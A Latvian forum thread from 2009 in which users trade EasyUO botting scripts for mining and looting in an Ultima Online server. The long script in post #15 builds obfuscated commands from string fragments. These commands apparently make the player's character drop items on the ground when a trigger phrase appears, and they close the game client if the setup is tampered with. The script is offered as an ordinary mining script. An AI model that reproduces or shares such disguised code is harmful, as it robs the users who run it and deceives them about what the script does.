Toggle shoutbox Chat
|
Mining Kopa Ar Loot Scp
#1
Posted 26 July 2009 - 09:21
Jau iesprieks liels PALDIES!!!
#2
Posted 26 July 2009 - 10:05
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#3
Posted 26 July 2009 - 11:30
Man nevaig scp man vaig pashu loot kuru varu ielikt sava mining scp ...Search nisudba lietot??tadu skriptu ir pilns forums!
#4
Posted 26 July 2009 - 12:00
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#5
Posted 26 July 2009 - 12:25
Es nez ka tas loot izkatas vari man iemest te ? please ...nu atrodi skriptu kur it ar loot nokope un ieliec!
#6
Posted 26 July 2009 - 12:33
Ludzu ja tu to izdariisi bushu loti pateiciigs !!!Es nez ka tas loot izkatas vari man iemest te ? please ...
#7
Posted 26 July 2009 - 12:38
sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#8
Posted 26 July 2009 - 12:38
LIELS PALDIES!!!!sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return
#9
Posted 26 July 2009 - 12:54
#10
Posted 26 July 2009 - 12:59
Kr4 reku tas scp >>A man vinjs neluutot moska pasaki savu skype nick atsutiishu to scp un tu man ieliec pareizaja vieta
;==================================
; Version: 1.0
; Client Tested with: 2.0.3
; EUO version tested with:
; Shard Old Paradise
; Purpose: Mining
;==================================
//Configuration
//============================================================
Set %HomePosX 1818 // Position in the world next to the container
Set %HomePosY 856 // Position Y in the world next to the containe
Set %AxeType NPF // Item Type of Pickaxe
Set %Save 30s // World Save (30s is just a tip)
Set %Res 1 // 1 - For 800x600, 0 - For 640x400
Set %weight 1200 // Set the max weight...
SET %Ore DWJ_POF
Set %Safe ZCWXJMD
Goto Inicio
Locations:
If %Spot = 1
Move 1800 1032 a // Location 1
If %Spot = 2
Move 1805 1027 a // Location 2
If %Spot = 3
Move 1808 1032 a // Location 3
If %Spot = 4
Move 1811 1027 a // Location 4
If %Spot = 5
Move 1814 1030 a // Location 5
If %Spot = 6
Move 1819 1030 a // Location 6
Goto Mining
//Way to the mine (If youre using runebook dont change)
Sub Pathway
Move 1833 1063 a
Move 1833 1067 a
Move 1829 1067 a
Move 1829 1030 a
Move 1804 1030 a
Return
//Way to the house (If youre using runebook dont change)
Sub Pathway2
Move 1808 1029 a
Move 1831 1029 a
Move 1831 1069 a
Move 1833 1063 a
Return
//============================================================
//DO NOT CHANGE ANYTHING NOW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//============================================================
//Variables Reset
//------------------------------------------------------------
Inicio:
INITEVENTS
Event Izpis bobi tad tik saac kapaat (Kiss) SANJEM ZARAZA !
wait 1s
SetUoTitle crafted by goofy
Display Go Go Go
Set %Spot 1
GoSub Pathway
Goto Locations
//------------------------------------------------------------
Mining:
If #WEIGHT > %weight
goto bank
DeleteJournal
FindItem %AxeType
Set #LObjectID #FindID
Set #LTargetX #CharPosX + %AddX
Set #LTargetY #CharPosY + %AddY
Set #LTargetZ #CharPosZ
Set #LTargetKind 3
Set #TargCurs 0
Event Macro 17
Target 7s
Event Macro 22
GoSub Count
Set %TimeOut #SCNT + 25
Set #TargCurs 0
Goto Scan
//------------------------------------------------------------
Scan:
ScanJournal 1
if #hits < 340
msg .arm $
if #hits < -9
msg .camp $
If there_is_nothing in #journal
Goto NextTarget
If cannot in #journal
Goto NextTarget
If you_cant_mine in #journal
Goto NextTarget
If world_save in #Journal
Goto Save
If You_find_nothing_useful in #Journal
Goto Mining
If Try_mining_elsewhere in #Journal
Goto NextTarget
If that_is_too_far_away in #journal
goto nexttarget
ScanJournal 2
If targeting in #Journal
Goto Mining
If %TimeOut < #SCNT
Goto Mining
Goto Scan
//------------------------------------------------------------
Bank:
GoSub Pathway2
GoSub MoveHome
Goto Unload
//------------------------------------------------------------
Unload:
finditem %Ore C_ , #BackpackID
for #findindex 1 #findcnt
{
exevent drag #findid #findstack
wait 5
exevent dropc %Safe
wait 16
}
//------------------------------------------------------------
Back:
GoSub Pathway
Goto Locations
//------------------------------------------------------------
NextTarget:
Set %AddX %AddX + 1
If %AddX > 2
{
Set %AddX -2
Set %AddY %AddY - 1
If %AddY < -2
Goto Change
}
Set %ClickTarget %ClickTarget + 1
Goto Mining
//------------------------------------------------------------
Change:
Set %ClickTarget 1
Set %AddX -2
Set %AddY +2
Set %Spot %Spot + 1
If %Spot = 6
Set %Spot 1
Goto Locations
//------------------------------------------------------------
Save:
Wait %Save
Goto Mining
//---------------------------------------
sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return
#11
Posted 26 July 2009 - 14:03
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#12
Posted 26 July 2009 - 14:06
Bet vinjs vismaz uzvelk ieroci kad iznak monstrs un norm aiznes uz maju oresmdaa nu i tev skripts!pamekle foruma normalu skriptu nejau wito parodiju!
#13
Posted 26 July 2009 - 14:15
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#14
Posted 26 July 2009 - 14:21
Iedo Link ja vari ^^nu ja tev ta patik kapa talak ar vinu!ir scripti kur vinsh pats paed,loot botu,aiznes ores,izmet nevajadzigas ores,un ja vajag pat ar runabook lido un tracking taisa!
#15
Posted 26 July 2009 - 14:29
; Set Up The Following Variables: set %maxWeight 500 ; Max svars set %box JNWOLMD ; Kastes ID, kur likt ruudu u.c. itemus set %xCoord 332 ; X koordinaata tieshi pie kastes set %yCoord 3253 1 ; Y koordinaata tieshi pie kastes set %dropMarganece #true ; #true - nomet Marganece ruudu , #false - nenomet set %skillItemChange #false ; #true - mainiis dreebes, #false - nemainiis set %recall #false ; #true - lidos ar runebook, #false - skries taapat ; Do Not Set These Items If %skillItemChange #false set %skillRobe KIOSJMD ; Skill Roba (ID) set %skillCloak TCNSJMD ; Skill Cloack (ID) set %skillMask YSNSJMD ; Skill Mask (ID) set %simpleRobe UTRVLMD ; Parasta Roba (ID) set %simpleCloak VARVLMD ; Parastais cloack (ID) set %simpleMask OSH ; Platemail helms (TYPE/ID) ; End Of Changable Clothes List ; Do Not Set These Numbers If %recall #false set %runebookID COGKKMD ; Runebooka ID set %runeNumberToHome 1 ; Runas Nr uz maaju set %runeNumberToCave 2 ; Runas Nr uz alu set %amountRecalls 2 ; cik recall panjemt, kad vinji beigushies ; End Of Set Up Part set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToCave 2 } finditem QRM_FJM_GKM C_ , #backpackid if #findcnt <> 0 { set #lobjectid #findid event macro 17 0 wait 30 } set %skill %skillRobe , _ , %skillCloak , _ , %skillMask gosub gettingStarted gosub initevents set %k 0 set %lastK 0 start: ; KOORDINAATES GOSUB MINING xxx xxx xxx x goto start sub mining set %k %k + 1 gosub ghost gosub checkHP gosub element gosub checkWeight move %1 %2 1 finditem NPF_QPF C if #findcnt = 0 { display ok Pickaxe wasn't found! pause } set #lobjectid #findid event macro 17 0 target 7s set #ltargetx %1 set #ltargety %2 set #ltargetkind 3 set #ltargettile %3 event macro 22 0 wait 10 set %overtime #scnt + 25 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropMarganece { if %recall gosub port if ! %recall gosub moveItems } if %dropMarganece { gosub dropMarganece return } } if %afk <> true || %else <> IJG gosub ghost 1 return sub scan scan: scanjournal gosub checkHP if hungry in #sysmsg { gosub eat return } if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) ) return if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) ) return %get fixed if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg ) + || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) ) return gosub element gosub checkHP if #scnt >= %overtime return goto scan return sub port msg .arm$ gosub checkHP set %k %k + 1 gosub element if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 10 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ignoreitem reset 1 ignoreitem %skill 1 gosub runToBox event macro 13 21 finditem %box G_3 wait 10 if #findcnt = 0 { event Sysmessage Box Not Found! halt } repeat { finditem %item c_ , #backpackid if #findcnt <> 0 { exevent Drag #Findid #findstack exevent Dropc %box wait 25 } } until #findcnt = 0 ignoreitem reset 1 if %recall gosub recalls return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215 ; Recharge runebook 2x wait 10 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 return sub runToBox repeat { move %xCoord %yCoord 0 3s wait 10 } until #charposx = %xCoord && #charposy = %yCoord return sub follow&kill msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub checkHP if #hits < #maxhits { msg .arm$ sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! halt } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 10 finditem GND C set #lobjectid #findid event macro 17 0 wait 10 event macro 17 0 wait 2s return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub dropMarganece dropLoop: finditem DWJ C_ , #backpackid if #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = 1750 { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 25 } ignoreitem #findid 1 goto dropLoop return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub element if %lastK >= %k gosub ghost 1 set %lastK %k finditem ED G if #findcnt <> 0 { msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak finditem ED G set %element #findid msg .arm$ set #ltargetid %element event macro 27 0 repeat { finditem %element event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 wait 20 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 20 } return
tikai savus id saliec
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#16
Posted 30 July 2009 - 10:41
#17
Posted 30 July 2009 - 10:50
nespied visu laiku vienā vietāKr4 kad es ar laileru meiginu koridnates dabuut vinjs visu laiku saka try again ...
#18
Posted 30 July 2009 - 14:57
Nespiezu ... viena vieta ..nespied visu laiku vienā vietā
1 user(s) are reading this topic
0 members, 1 guests, 0 anonymous users